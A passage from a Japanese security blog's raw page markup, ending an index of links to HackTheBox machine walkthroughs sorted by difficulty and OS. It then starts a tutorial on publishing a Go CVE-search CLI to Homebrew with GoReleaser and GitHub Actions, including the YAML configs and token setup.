href="https://qiita.com/v_avenger/items/05f3c98304540fc275b4">&#x3010;HackTheBox&#x3011;Traceback - Walkthrough - - Qiita</a></p> <h4 id="Lame">Lame</h4> <p><a href="https://qiita.com/v_avenger/items/9c593178188613d7f602">&#x3010;HackTheBox&#x3011;Lame - Walkthrough - - Qiita</a></p> <p><a href="https://qiita.com/sanpo_shiho/items/d009c268fd2560939eba">&#x3010;Hack the Box write-up&#x3011;Lame - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/997f11b2508acbfa3801">Hack The Box[Lame] -Writeup- - Qiita</a></p> <p><a href="https://qiita.com/ajipon_44/items/7be0fa60f1a73168c4d5">1&#x53F0;&#x76EE; &lt;Hack the Box&gt; Lame -Walkthrough- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/04/12/233016">&#x3010;Hack The Box&#x3011;Lame Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Beep">Beep</h4> <p><a href="https://qiita.com/sanpo_shiho/items/2e186665b2ba055fe46d">&#x3010;Hack the Box write-up&#x3011;Beep - Qiita</a></p> <p><a href="https://qiita.com/mr-wacker/items/21d68f183641ca35186f">&#x3010;HackTheBox&#x3011;Beep - Writeup - - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/05/01/221552">&#x3010;Hack The Box&#x3011;Beep Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Bank">Bank</h4> <p><a href="https://qiita.com/sanpo_shiho/items/46dd6a329fff608ea7d1">&#x3010;Hack the Box write-up&#x3011;Bank - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/12b7f068d2aee2473309">Hack The Box[Bank] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/07/25/142115">&#x3010;Hack The Box&#x3011;Bank Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Blocky">Blocky</h4> <p><a href="https://qiita.com/sanpo_shiho/items/0e12ec4252a0a8bab6e3">&#x3010;Hack the Box write-up&#x3011;Blocky - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/f07a0485ecc14545085d">Hack The Box[Blocky] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/05/05/225131">&#x3010;Hack The Box&#x3011;Blocky Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Mirai">Mirai</h4> <p><a href="https://qiita.com/sanpo_shiho/items/9f0e1cbebfee6bcb3462">&#x3010;Hack the Box write-up&#x3011;Mirai - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/dacdd62392d9079834f8">Hack The Box[Mirai] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/07/04/235955">&#x3010;Hack The Box&#x3011;Mirai Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Shocker">Shocker</h4> <p><a href="https://qiita.com/sanpo_shiho/items/b44d2d9ea8fe941a594f">&#x3010;Hack the Box write-up&#x3011;Shocker - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/37de18a81b138d93373a">Hack The Box[Shocker] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/07/23/015247">&#x3010;Hack The Box&#x3011;Shocker Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Bashed">Bashed</h4> <p><a href="https://qiita.com/sanpo_shiho/items/494679a0edc89fe4375e">&#x3010;Hack the Box write-up&#x3011;Bashed - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/f583505a659eaf91ef57">Hack The Box[Bashed] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/04/19/214528">&#x3010;Hack The Box&#x3011;Bashed Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Nibbles">Nibbles</h4> <p><a href="https://qiita.com/sanpo_shiho/items/33bb877fb20073ddaf85">&#x3010;Hack the Box write-up&#x3011;Nibbles - Qiita</a></p> <h4 id="Valentine">Valentine</h4> <p><a href="https://qiita.com/sanpo_shiho/items/39450e07718d1d8734a0">&#x3010;Hack the Box write-up&#x3011;Valentine - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/e59407abd1e76fa48a24">Hack The Box[Valentine] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/08/07/222455">&#x3010;Hack The Box&#x3011;Valentine Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Curling">Curling</h4> <p><a href="https://qiita.com/sanpo_shiho/items/a7057ce23d960ca78b15">&#x3010;Hack the Box write-up&#x3011;Curling - Qiita</a></p> <h4 id="Irked">Irked</h4> <p><a href="https://qiita.com/sanpo_shiho/items/fe1f4b35cf74f09a6cb8">&#x3010;Hack the Box write-up&#x3011;Irked - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/84306483a99f75266af5">Hack The Box[Irked] -Writeup- - Qiita</a></p> <h4 id="Teacher">Teacher</h4> <p><a href="https://qiita.com/sanpo_shiho/items/6a9d09189c692577df4c">&#x3010;Hack the Box write-up&#x3011;Teacher - Qiita</a></p> <h4 id="Help">Help</h4> <p><a href="https://qiita.com/sanpo_shiho/items/14132d8b3d361637ea2d">&#x3010;Hack the Box write-up&#x3011;Help - Qiita</a></p> <h4 id="FriendZone">FriendZone</h4> <p><a href="https://qiita.com/sanpo_shiho/items/f427459fca0e56b61680">&#x3010;Hack the Box write-up&#x3011;FriendZone - Qiita</a></p> <h4 id="SwagShop">SwagShop</h4> <p><a href="https://qiita.com/sanpo_shiho/items/7fb4401652a0ecbdc01d">&#x3010;Hack the Box write-up&#x3011;SwagShop - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/103135f2904bb9f7db6e">Hack The Box[SwagShop] -Writeup- - Qiita</a></p> <hr /> <h3 id="Window">Window</h3> <h4 id="Legacy">Legacy</h4> <p><a href="https://qiita.com/v_avenger/items/fc61a3ad6b5f9d3a6ca8">&#x3010;HackTheBox&#x3011;Legacy - Walkthrough - - Qiita</a></p> <p><a href="https://qiita.com/sanpo_shiho/items/79e5ab46fbefb9a625e9">&#x3010;Hack the Box write-up&#x3011;Legacy - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/a7a8a8e0a3875cd8a4d7">Hack The Box[Legacy] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/07/05/152403">&#x3010;Hack The Box&#x3011;Legacy Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Devel">Devel</h4> <p><a href="https://qiita.com/sanpo_shiho/items/5a2e526d9184ffe490da">&#x3010;Hack the Box write-up&#x3011;Devel - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/5d9c1cfe2b2e9873bb4e">Hack The Box[Devel] -Writeup- - Qiita</a></p> <p><a href="https://qiita.com/ikkyu193/items/fb2b66a64d8a38d2c20b">Hack the Box (HTB) Devel write-up - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/08/07/165736">&#x3010;Hack The Box&#x3011;Devel Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Optimum">Optimum</h4> <p><a href="https://qiita.com/sanpo_shiho/items/6d6d03568ccdce69796f">&#x3010;Hack the Box write-up&#x3011;Optimum - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/ae7bdd1c40ee6b485bf7">Hack The Box[Optimum] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/04/16/230606">&#x3010;Hack The Box&#x3011;Optimum Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <p><a href="https://grapesoda204.hatenablog.com/entry/2020/05/09/161300">Hack The Box optimum[windows] - &#x5099;&#x5FD8;&#x9332;&#x306A;&#x308B;&#x3082;&#x306E;</a></p> <h4 id="Arctic">Arctic</h4> <p><a href="https://qiita.com/sanpo_shiho/items/d1f2243286c3ffcfa7f2">&#x3010;Hack the Box write-up&#x3011;Arctic - Qiita</a></p> <p><a href="https://grapesoda204.hatenablog.com/entry/2020/05/19/220143">HTB arctic [windows] - &#x5099;&#x5FD8;&#x9332;&#x306A;&#x308B;&#x3082;&#x306E;</a></p> <h4 id="Grandpa">Grandpa</h4> <p><a href="https://qiita.com/sanpo_shiho/items/d6a46971d6c89841bb8f">&#x3010;Hack the Box write-up&#x3011;Grandpa - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/a7b2b8271e32b131659e">Hack The Box[Grandpa] -Writeup- - Qiita</a></p> <h4 id="Granny">Granny</h4> <p><a href="https://qiita.com/sanpo_shiho/items/ae4b19c25b1f4b6307f6">&#x3010;Hack the Box write-up&#x3011;Granny - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/28580ce1d20261a90d34">Hack The Box[Granny] -Writeup- - Qiita</a></p> <h4 id="Blue">Blue</h4> <p><a href="https://qiita.com/sanpo_shiho/items/73365fbcb9493f04281c">&#x3010;Hack the Box write-up&#x3011;Blue - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/4d629bb84aacfca5ef28">Hack The Box[Blue] -Writeup- without metasploit - Qiita</a></p> <p><a href="https://qiita.com/ajipon_44/items/71507c285aec3fde01e7">2&#x53F0;&#x76EE; &lt;Hack the Box&gt; Blue -Walkthrough- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/04/13/000054">&#x3010;Hack The Box&#x3011;Blue Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Jerry">Jerry</h4> <p><a href="https://qiita.com/sanpo_shiho/items/e90455bd0e1709a02aa0">&#x3010;Hack the Box write-up&#x3011;Jerry - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/ecaa10e4692fc88394fe">Hack The Box[Jerry] -Writeup- - Qiita</a></p> <p><a href="https://paichan-it.hatenablog.com/entry/2020/07/04/231349">&#x3010;Hack The Box&#x3011;Jerry Walkthrough - Paichan &#x6280;&#x8853;&#x30E1;&#x30E2;&#x30D6;&#x30ED;&#x30B0;</a></p> <h4 id="Active">Active</h4> <p><a href="https://qiita.com/v_avenger/items/48db7d54791c4d10663b">&#x3010;HackTheBox&#x3011;Active - Walkthrough - - Qiita</a></p> <p><a href="https://qiita.com/sanpo_shiho/items/d06f72721b08be016b81">&#x3010;Hack the Box write-up&#x3011;Active - Qiita</a></p> <h4 id="Access">Access</h4> <p><a href="https://qiita.com/yukitsukai47/items/31daa92b6e363ebae98c">HackTheBox[Access] -Writeup- - Qiita</a></p> <h4 id="Netmon">Netmon</h4> <p><a href="https://qiita.com/sanpo_shiho/items/e1b08ff76449b03eee50">&#x3010;Hack the Box write-up&#x3011;Netmon - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/398d9026a8e4eac26c21">Hack The Box[Netmon] -Writeup- - Qiita</a></p> <h4 id="Forest">Forest</h4> <p><a href="https://qiita.com/v_avenger/items/43014e5e34fe491764c8">&#x3010;HackTheBox&#x3011;Forest - Walkthrough - - Qiita</a></p> <p><a href="https://qiita.com/mr-wacker/items/e165102bd5f1a4a6d22e">&#x3010;HackTheBox&#x3011;Forest - Writeup - - Qiita</a></p> <p><a href="https://qiita.com/MarshMallow_sh/items/000650e63faeb2b8f266">Hack The Box: Forest Walkthrough (Japanese) - Qiita</a></p> <p><a href="https://qiita.com/zunil2_test/items/817c36f899b4fc3bf7bb">(Hack The Box) Forest writeup - Qiita</a></p> <h4 id="Traverxec">Traverxec</h4> <p><a href="https://qiita.com/yukitsukai47/items/04bb5a29747842d1d6fd">HackTheBox[Traverxec] -Writeup- - Qiita</a></p> <h4 id="Sauna">Sauna</h4> <p><a href="https://security-index.hatenablog.com/entry/2020/08/17/201803">Hack The Box: Sauna Walkthrough (IppSec) - Security Index</a></p> <h4 id="Remote">Remote</h4> <p><a href="https://qiita.com/v_avenger/items/d59b84eea17faa0eea2b">&#x3010;HackTheBox&#x3011;Remote - Walkthrough - - Qiita</a></p> <p><a href="https://qiita.com/sanpo_shiho/items/fbb2689111821d99de85">&#x3010;Hack the Box write-up&#x3011;Remote - Qiita</a></p> <h4 id="ServMon">ServMon</h4> <p><a href="https://qiita.com/sanpo_shiho/items/dc96073b8553c7a65e26">&#x3010;Hack the Box write-up&#x3011;ServMon - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/317fa50c4615bae6665c">Hack The Box[ServMon] -Writeup- - Qiita</a></p> <h4 id="Buff">Buff</h4> <p><a href="https://qiita.com/v_avenger/items/30253cba937a22a1b9b4">&#x3010;HackTheBox&#x3011;Buff - Walkthrough - - Qiita</a></p> <p><a href="https://sanposhiho.com/posts/buff/">&#x3010;Hack the Box write-up&#x3011;Buff &ndash; &#x3055;&#x3093;&#x307D;&#x3057;&#x306E;&#x6563;&#x6B69;&#x8A18;</a></p> <hr /> <h3 id="FreeBSD">FreeBSD</h3> <h4 id="Sense">Sense</h4> <p><a href="https://qiita.com/sanpo_shiho/items/99518088db5951ff6563">&#x3010;Hack the Box write-up&#x3011;Sense - Qiita</a></p> <p><a href="https://qiita.com/yukitsukai47/items/7ac201dbbb0d2627787e">Hack The Box[Sense] -Writeup- - Qiita</a></p> <hr /> <h2 id="MEDIUM">MEDIUM</h2> <h3 id="Linux-1">Linux</h3> <h4 id="Magic">Magic</h4> <p><a href="https://qiita.com/sanpo_shiho/items/b3c79eda7fd97854d69c">&#x3010;Hack the Box write-up&#x3011;Magic - Qiita</a></p> <h4 id="Popcorn">Popcorn</h4> <p><a href="https://qiita.com/sanpo_shiho/items/f651251da51d80f6a9cf">&#x3010;Hack the Box write-up&#x3011;Popcorn - Qiita</a></p> <p><a href="https://qiita.com/ikkyu193/items/42b18b6c408a1d1f30c3">&#x3010;Hack the Box&#x3011;Popcorn - Write Up - Qiita</a></p> <h4 id="Tenten">Tenten</h4> <p><a href="https://qiita.com/sanpo_shiho/items/ccc28deb2f5aa5c24490">&#x3010;Hack the Box write-up&#x3011;Tenten - Qiita</a></p> <h4 id="Cronos">Cronos</h4> <p><a href="https://qiita.com/sanpo_shiho/items/267bfdb18edaa702b8cf">&#x3010;Hack the Box write-up&#x3011;Cronos - Qiita</a></p> <p><a href="https://qiita.com/mr-wacker/items/9d9a305c4884f19bea01">&#x3010;HackTheBox&#x3011;Cronos - Writeup - - Qiita</a></p> <p><a href="https://grapesoda204.hatenablog.com/entry/2020/06/09/162212">hack the box Cronos [linux] - &#x5099;&#x5FD8;&#x9332;&#x306A;&#x308B;&#x3082;&#x306E;</a></p> <h4 id="SolidState">SolidState</h4> <p><a href="https://qiita.com/sanpo_shiho/items/9ff46f42043565f088c1">&#x3010;Hack the Box write-up&#x3011;SolidState - Qiita</a></p> <h4 id="Celestial">Celestial</h4> <p><a href="https://qiita.com/sanpo_shiho/items/edf954f1f5630b1989f9">&#x3010;Hack the Box write-up&#x3011;Celestial - Qiita</a></p> <h4 id="DevOops">DevOops</h4> <p><a href="https://qiita.com/sanpo_shiho/items/5bf275403ad3719b8f13">&#x3010;Hack the Box write-up&#x3011;DevOops - Qiita</a></p> <hr /> <h3 id="Windows">Windows</h3> <h4 id="Bastard">Bastard</h4> <p><a href="https://qiita.com/yukitsukai47/items/24e3d779722ed86f023a">Hack The Box[Bastard] -Writeup- - Qiita</a></p> <h4 id="Chatterbox">Chatterbox</h4> <p><a href="https://qiita.com/sanpo_shiho/items/1857c837b079a7a75db0">&#x3010;Hack the Box write-up&#x3011;Chatterbox - Qiita</a></p> <p><a href="https://qiita.com/mr-wacker/items/e4b1b46a6f9104f2efaa">&#x3010;HackTheBox&#x3011;Chatterbox - Writeup - - Qiita</a></p> <h4 id="Resolute">Resolute</h4> <p><a href="https://qiita.com/yukitsukai47/items/6cc81836b9de887e57c4">Hack The Box[Resolute] -Writeup- - Qiita</a></p> <p><a href="https://qiita.com/MarshMallow_sh/items/52e04ee4166c7b2b345c">Hack The Box: Resolute Walkthrough (Japanese) - Qiita</a></p> <hr /> <h3 id="FreeBSD-1">FreeBSD</h3> <h4 id="Poison">Poison</h4> <p><a href="https://qiita.com/sanpo_shiho/items/25585812bca050ded7dd">&#x3010;Hack the Box write-up&#x3011;Poison - Qiita</a></p> <p><a href="https://qiita.com/ikkyu193/items/dc21f54e6e89f08c9ec9">Hack the Box (HTB) Poison write-up - Qiita</a></p> <h4 id="Luke">Luke</h4> <p><a href="https://qiita.com/sanpo_shiho/items/604869e727f27f489abd">&#x3010;Hack the Box write-up&#x3011;Luke - Qiita</a></p> <h1 id="最後に">最後に</h1> <h2 id="Google-スプレットシート">Google スプレットシート</h2> <p>Retiredマシンの一覧、DIFFICULTY、OS、Walkthrough/WriteupのURLが一覧化されているスプレットシートになります。</p> <p><a href="https://docs.google.com/spreadsheets/d/1-HWXMp_TPmEvEsBjMwfCgjQ0FwQlBoVxVw3v77TjwKg/edit?usp=sharing">HackTheBox_&#x65E5;&#x672C;&#x8A9E;walkthrough&#x4E00;&#x89A7; - Google &#x30B9;&#x30D7;&#x30EC;&#x30C3;&#x30C9;&#x30B7;&#x30FC;&#x30C8;</a></p> <p>データ->フィルタの表示->新しい一時的なフィルタ ビューを作成</p> <p>でWalkthroughがあるものだけ表示などフィルタ機能も使えます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200830/20200830161532.png" alt="f:id:security_index:20200830161532p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>日本語のWalkthrough/Writeupがまとまっていることで、1つのマシンを攻略するのに1つのWalkthroughだけを読む、のではなく複数のWalkthroughをみることができます。色々な攻略方法、ツールの使い方、こんなオプションの使い方があるのかなど、多くの学びもあるような気がするのでそういう用途にも使えるのかなぁと思っています。</p> <p>Walkthroughを読んでみて面白そうだなと思ったマシンを実際に自分でもやってみるというのもありだと思います。私もBlueのWalkthroughを読んで実際にやってみようと思うことがありました。</p> <p>まだまだEASYのマシンでもWalkthroughがないものもあるのでそういうマシンをあえて攻略してWalkthroughを書いてみる、というのも良いかもしれません。</p> <p>もしここにないWalkthroughを知ってる、自分のWalkthroughが載ってない、などありましたらコメントいただけると嬉しいです。</p> <p><a href="https://amzn.to/321UMts">サイバーセキュリティ レッドチーム実践ガイド</a></p> <hr /> <p><a href="https://twitter.com/security_index">Twitter (@security_index) </a></p> security_index GoReleaserとGithub Actionsを使ってGoのCLIツールをHomebrew installできるようにする hatenablog://entry/26006613618598076 2020-08-23T20:00:00+09:00 2020-09-27T17:36:21+09:00 go-cve-search 作ってみた - TDD, Circleci, README Badge, Terminal Gif, Cliツール開発の話の続きでGoReleaserを使ってhomebrew installでGoのCLIツールを簡単にインストールできるようにしました。 brew tapでs-index/go-cve-searchを登録して、brew installするとインストールできるようになります。 $ brew tap s-index/go-cve-search $ brew install s-index/go-cve-search/go-cve-search brew t… <p><a href="https://security-index.hatenablog.com/entry/2020/01/30/180000">go-cve-search 作ってみた - TDD, Circleci, README Badge, Terminal Gif, Cliツール開発の話の続き</a>でGoReleaserを使ってhomebrew installでGoのCLIツールを簡単にインストールできるようにしました。</p> <p>brew tapで<code>s-index/go-cve-search</code>を登録して、brew installするとインストールできるようになります。</p> <pre class="code" data-lang="" data-unlink>$ brew tap s-index/go-cve-search $ brew install s-index/go-cve-search/go-cve-search</pre> <p>brew tapというものを今まで知らなかったのですが公式以外のリポジトリを登録してそこからインストールできるようにするもののようです。</p> <p><a href="https://qiita.com/saa/items/85ed5e914d424fbf9fd6">brew tap&#x3068;&#x306F; - Qiita</a></p> <p>作成したレポジトリはこちら。 <a href="https://github.com/s-index/go-cve-search">GitHub - s-index/go-cve-search: lightweight CVE search</a></p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823104156.jpg" alt="f:id:security_index:20200823104156j:plain" title="f:id:security_index:20200823104156j:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>公式サイトは以下になります。</p> <p><a href="https://goreleaser.com/customization/homebrew/">Homebrew - GoReleaser</a></p> <p>困ったときやより細かい設定をしたくなった時に役立ちます。</p> <ul class="table-of-contents"> <li><a href="#設定">設定</a><ul> <li><a href="#GoReleaserの設定">GoReleaserの設定</a></li> <li><a href="#Github-Actionsの設定">Github Actionsの設定</a></li> <li><a href="#Github-Actions用のTOKEN設定">Github Actions用のTOKEN設定</a></li> <li><a href="#Homebrew用のリポジトリ作成">Homebrew用のリポジトリ作成</a></li> <li><a href="#tagをつけてリリースする">tagをつけてリリースする</a></li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <h2 id="設定">設定</h2> <p>完成したGoReleaserのyamlファイルとそれを実行するGithub Actionsの設定は以下のようになります。</p> <h3 id="GoReleaserの設定">GoReleaserの設定</h3> <p><code>.goreleaser.yml</code></p> <pre class="code lang-yaml" data-lang="yaml" data-unlink><span class="synComment"># プロジェクト名に変更</span> <span class="synIdentifier">project_name</span><span class="synSpecial">:</span> go-cve-search <span class="synIdentifier">env</span><span class="synSpecial">:</span> <span class="synStatement">- </span>GO111MODULE=on <span class="synIdentifier">before</span><span class="synSpecial">:</span> <span class="synIdentifier">hooks</span><span class="synSpecial">:</span> <span class="synStatement">- </span>go mod tidy <span class="synComment"># homebrewで必要な設定</span> <span class="synIdentifier">brews</span><span class="synSpecial">:</span> <span class="synStatement">- </span><span class="synIdentifier">tap</span><span class="synSpecial">:</span> <span class="synComment"> # Github usernameに変更</span> <span class="synIdentifier">owner</span><span class="synSpecial">:</span> s-index <span class="synComment"> # homebrew-&lt;コマンド名&gt;</span> <span class="synIdentifier">name</span><span class="synSpecial">:</span> homebrew-go-cve-search <span class="synIdentifier">folder</span><span class="synSpecial">:</span> Formula <span class="synComment"> # homepage</span> <span class="synIdentifier">homepage</span><span class="synSpecial">:</span> https://github.com/s-index/go-cve-search <span class="synComment"> # コマンドの説明</span> <span class="synIdentifier">description</span><span class="synSpecial">:</span> lightweight tool to search CVE (Common Vulnerabilities and Exposures) <span class="synIdentifier">test</span><span class="synSpecial">:</span> | system <span class="synConstant">&quot;#{bin}/goreleaser -v&quot;</span> <span class="synComment"># binary提供用の設定</span> <span class="synIdentifier">builds</span><span class="synSpecial">:</span> <span class="synStatement">- </span><span class="synIdentifier">main</span><span class="synSpecial">:</span> . <span class="synIdentifier">binary</span><span class="synSpecial">:</span> go-cve-search <span class="synIdentifier">goos</span><span class="synSpecial">:</span> <span class="synStatement">- </span>windows <span class="synStatement">- </span>darwin <span class="synStatement">- </span>linux <span class="synIdentifier">ldflags</span><span class="synSpecial">:</span> <span class="synStatement">- </span>-s -w <span class="synStatement">- </span>-X main.Version={{.Version}} <span class="synStatement">- </span>-X main.Revision={{.ShortCommit}} <span class="synIdentifier">env</span><span class="synSpecial">:</span> <span class="synStatement">- </span>CGO_ENABLED=0 <span class="synComment"># binary提供用の設定</span> <span class="synIdentifier">archives</span><span class="synSpecial">:</span> <span class="synStatement">- </span><span class="synIdentifier">name_template</span><span class="synSpecial">:</span> <span class="synConstant">'{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}{{ if .Arm }}v{{ .Arm }}{{ end }}'</span> <span class="synIdentifier">replacements</span><span class="synSpecial">:</span> <span class="synIdentifier">darwin</span><span class="synSpecial">:</span> macOS <span class="synIdentifier">linux</span><span class="synSpecial">:</span> linux <span class="synIdentifier">windows</span><span class="synSpecial">:</span> windows <span class="synIdentifier">386</span><span class="synSpecial">:</span> 32-bit <span class="synIdentifier">amd64</span><span class="synSpecial">:</span> 64-bit <span class="synIdentifier">format_overrides</span><span class="synSpecial">:</span> <span class="synStatement">- </span><span class="synIdentifier">goos</span><span class="synSpecial">:</span> windows <span class="synIdentifier">format</span><span class="synSpecial">:</span> zip <span class="synIdentifier">release</span><span class="synSpecial">:</span> <span class="synIdentifier">prerelease</span><span class="synSpecial">:</span> auto </pre> <p><code>owner</code>や<code>name</code>などの部分を自分の環境に変更するだけで大丈夫です。</p> <p><code># binary提供用の設定</code>の部分は<a href="https://security-index.hatenablog.com/entry/2020/01/30/180000#Github-Action%E3%81%A7%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B3%E3%83%B3%E3%83%91%E3%82%A4%E3%83%AB%E3%81%97%E3%81%9F%E5%AE%9F%E8%A1%8C%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%92%E3%83%AA%E3%83%AA%E3%83%BC%E3%82%B9">前回の記事</a>や以下の記事などが参考になります。</p> <p><a href="https://tellme.tokyo/post/2020/02/04/release-go-cli-tool/">Go &#x3067;&#x66F8;&#x3044;&#x305F; CLI &#x30C4;&#x30FC;&#x30EB;&#x306E;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x306F; GoReleaser &#x3068; GitHub Actions &#x3067;&#x500B;&#x4EBA;&#x7684;&#x306B;&#x306F;&#x6C7A;&#x307E;&#x308A; | tellme.tokyo</a></p> <h3 id="Github-Actionsの設定">Github Actionsの設定</h3> <p><code>.github/workflows/release.yml</code></p> <pre class="code lang-yaml" data-lang="yaml" data-unlink><span class="synIdentifier">name</span><span class="synSpecial">:</span> release <span class="synIdentifier">on</span><span class="synSpecial">:</span> <span class="synIdentifier">push</span><span class="synSpecial">:</span> <span class="synIdentifier">tags</span><span class="synSpecial">:</span> <span class="synStatement">- </span><span class="synConstant">&quot;v[0-9]+.[0-9]+.[0-9]+&quot;</span> <span class="synIdentifier">jobs</span><span class="synSpecial">:</span> <span class="synIdentifier">goreleaser</span><span class="synSpecial">:</span> <span class="synIdentifier">runs-on</span><span class="synSpecial">:</span> ubuntu-latest <span class="synIdentifier">steps</span><span class="synSpecial">:</span> <span class="synStatement">- </span><span class="synIdentifier">name</span><span class="synSpecial">:</span> Checkout <span class="synIdentifier">uses</span><span class="synSpecial">:</span> actions/checkout@v1 <span class="synIdentifier">with</span><span class="synSpecial">:</span> <span class="synIdentifier">fetch-depth</span><span class="synSpecial">:</span> <span class="synConstant">1</span> <span class="synStatement">- </span><span class="synIdentifier">name</span><span class="synSpecial">:</span> Setup Go <span class="synIdentifier">uses</span><span class="synSpecial">:</span> actions/setup-go@v1 <span class="synIdentifier">with</span><span class="synSpecial">:</span> <span class="synIdentifier">go-version</span><span class="synSpecial">:</span> 1.13.3 <span class="synStatement">- </span><span class="synIdentifier">name</span><span class="synSpecial">:</span> Run GoReleaser <span class="synIdentifier">uses</span><span class="synSpecial">:</span> goreleaser/goreleaser-action@v1 <span class="synIdentifier">with</span><span class="synSpecial">:</span> <span class="synIdentifier">version</span><span class="synSpecial">:</span> latest <span class="synIdentifier">args</span><span class="synSpecial">:</span> release --rm-dist <span class="synIdentifier">env</span><span class="synSpecial">:</span> <span class="synComment"> # Homebrewでは他のレポジトリへのアクセスが必要なので```secrets.GITHUB_TOKEN```ではうまくいかないのでTOKENを作成、設定が必要</span> <span class="synIdentifier">GITHUB_TOKEN</span><span class="synSpecial">:</span> ${{ secrets.HOMEBREW_TOKEN }} </pre> <p>この設定をコピペするだけで基本的に大丈夫ですが、最後の<code>GITHUB_TOKEN</code>だけ注意が必要です。</p> <p>Homebrew installをしない場合は <code>GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}</code>と書くだけでよかったのですが、今回はGithub Actionsが動作しているリポジトリ以外のリポジトリ(今回だと<code>s-index/homebrew-go-cve-search</code>s-index/homebrew-go-cve-search)にも変更を与える必要があるため、別途TOKENを作成、設定する必要があります。</p> <h3 id="Github-Actions用のTOKEN設定">Github Actions用のTOKEN設定</h3> <p><a href="https://github.com/settings/tokens">https://github.com/settings/tokens</a>でPersonal access tokensを作成します。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823145807.png" alt="f:id:security_index:20200823145807p:plain" title="f:id:security_index:20200823145807p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>scopesはrepoにチェックを入れます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823160502.png" alt="f:id:security_index:20200823160502p:plain" title="f:id:security_index:20200823160502p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>生成するとaccess tokenが生成されますのでコピーしておきます。</p> <p>この値をあとで利用します。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823160725.png" alt="f:id:security_index:20200823160725p:plain" title="f:id:security_index:20200823160725p:plain" class="hatena-fotolife" itemprop="image"></span></p> <p>次にリポジトリのSettingsのSecretsでSecretsの生成を行います。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200823/20200823161123.png" alt="f:id:security_index:20200823161123p:plain" title="f:id:security_index:20200823161123p:plain" class="hatena-fotolife" 